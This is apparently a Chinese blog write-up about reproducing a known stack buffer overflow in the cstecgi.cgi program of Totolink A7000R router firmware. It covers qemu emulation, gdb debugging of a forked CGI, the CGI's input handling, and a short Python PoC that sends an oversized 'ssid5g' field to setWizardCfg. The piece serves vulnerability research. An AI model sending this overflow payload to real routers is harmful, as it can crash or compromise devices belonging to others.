近期在尝试挖路由器设备的漏洞,选中了Totolink这一比较好挖洞的牌子,有一些已知漏洞想要复现一下,需要使用gdb进行调试,因此在此记录下具体过程。

参考链接:

模拟执行目标固件

固件为MIPS架构,可以直接使用binwalk提取出文件系统。

本次选择的目标为A7000R型号其中的/cgi-bin/cstecgi.cgi文件。

使用qemu用户模式执行/usr/sbin/lighttpd(lighttpd与cgi文件的关系可看上面给的参考链接)

1
2
3
4
5
6
cp xx/qemu-mipsel-static ./
# 切换根目录到squash-root文件系统
sudo chroot ./ /bin/sh
# 注:需要在www目录下执行lighttpd才能够正常运行
cd www
../qemu-mipsel-static -g 1234 ../usr/sbin/lighttpd -f ../lighttp/lighttpd.conf

然后在宿主机执行gdb进行调试

1
2
3
4
5
6
gdb-multiarch ./usr/sbin/lighttpd

pwndbg> set architecture mips
The target architecture is set to "mips".
pwndbg> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234

然后就可以进入调试界面了

gdb配置

需要注意的是,漏洞存在于/cgi-bin/cstecgi.cgi文件中,该文件由lighttpd使用fork子进程的方式完成调用。因此还需要在gdb中进行额外的设置来调试cstecgi.cgi文件的漏洞。

1
2
set follow-fork-mode child
set detach-on-fork off

首先在lighttpd的main函数下断点。确保调试正常

然后寻找fork函数调用点,极有可能为cgi的启动函数,下图为在proc_open中找到的fork+execve函数,猜测可能是cgi-bin的启动函数

在execl函数处下断点,向lighttpd程序发送poc请求包,发现在令lighttpd继续执行后,其会直接退出,因此考虑其他方法

gdb attach 进程

lighttpd虽然退出,但是还存在进程在监听80端口,同时web服务正常,因此考虑attach对应进程

1
2
3
4
5
sudo netstat -antp | grep 80
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 380/postgres
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 26475/../qemu-mipse
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 26475/../qemu-mipse
tcp 0 0 172.17.178.131:50808 101.33.241.59:4443 ESTABLISHED 369/cpolar: worker

但是和之前一样,attach的是qemu进程,并不是lighttpd

直接调试cgi

cgi程序运行

根据参考链接可以知道,如果为cgi文件提供正确的环境变量,也是可以直接运行cgi文件的。

如下图,直接运行cgi文件会报错:

因此考虑为cgi提供合适的环境变量,来模拟运行,通过逆向cgi的main函数处理逻辑,得到以下环境变量

1
2
3
4
5
6
7
export QUERY_STRING=http://127.0.0.1/index.html	# 请求url,可以触发loginAuth,Upload处理逻辑
export CONTENT_LENGTH=3000
export stationIp="127.0.0.1"
export REMOTE_ADDR="127.0.0.1"
export http_host="a" # 请求参数
export UPLOAD_FILENAME="filename" # 请求参数

添加以上环境变量后,发现不再报错:

使用gdb-multiarch调试,成功断在main函数位置

1
2
3
4
5
6
7
8
gdb-multiarch ./www/cgi-bin/cstecgi.cgi

pwndbg> set architecture mips
The target architecture is set to "mips".
pwndbg> target 127.0.0.1:1234
Undefined target command: "127.0.0.1:1234". Try "help target".
pwndbg> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234

继续逆向会发现cgi程序接受参数输入的方法有两种:

  • 环境变量getenv:从lighttpd程序设置好的环境变量中提取参数值

  • 标准输入fread:从标准输入获取json变量内容,适用于WebGetsVar()函数。如下图所示,v11为标准输入获取的值

cgi程序分析

此处再简要概括下cgi文件main函数的主要逻辑:

  1. 首先获取环境变量,分配CONTENT_LENGTH大小空间存储输入的JSON数据,然后判断QUERY_STRING值是否存在”action=login”和”action=upload”字符串,有则继续,没有则转入3

  2. 如果存在”action=login”,则设置为topicurl为”loginAuth”,并构造请求包

    1
    2
    3
    4
    {
    "topicurl" : "loginAuth",
    "loginAuthUrl": "{arg1}&http_host={arg2}&flag=ie8",
    }

    如果存在”action=upload”,则继续获取环境变量UPLOAD_FILENAME,设置topicurl为QUERY_STRING第一个参数,并设置FileName等参数变量

    1
    2
    3
    4
    5
    6
    {
    "topicurl" : "{arg1}",
    "FileName" : "{arg2}",
    "ContentLength": "/tmp/linux.trx",
    ...
    }
  3. 获取标准输入解析出”topicurl”值,并根据”set”, “get”, “del”分类跳转到不同的handler列表,执行对应的回调函数。

漏洞复现

我们要测试的漏洞位于setWizardCfg函数,因此只需要构造以下环境变量:

1
export CONTENT_LENGTH=52

继续执行到fread函数,读取输入为请求参数:

输入以下payload:

1
{"topicurl":"setWizardCfg", "ssid5g":"aaaaaaaaaa"}

注意CONTENT_LENGTH与payload长度要对应:

1
2
3
4
5
6
7
8
9
import json

data = {"topicurl":"setWizardCfg", "ssid5g":"aaaaaaaaaa"}

with open('./payload', 'w') as f:
json.dump(data, f)

print(f"[+] write {len(data)} chars to payload")

读入后,我们在setWizardCfg函数设置断点,查看是否正常调用该函数:

成功断在该位置。且成功读取了我们设置的”ssid5g”参数。

然后我们就可以进行调试了,通过构造长度足够大的”ssid5g”参数,造成缓冲区溢出:

poc.py

1
2
3
4
5
6
7
8
9
10
# export CONTENT_LENGTH=4138
# !/bin/sh
import json

data = {"topicurl":"setWizardCfg", "ssid5g":"a"*0x1000}

with open('./payload', 'w') as f:
json.dump(data, f)

print(f"[+] write {len(str(data))} chars to payload")

执行后断在sink函数,发现成功覆盖fp, sp寄存器后

输入过长payload造成栈溢出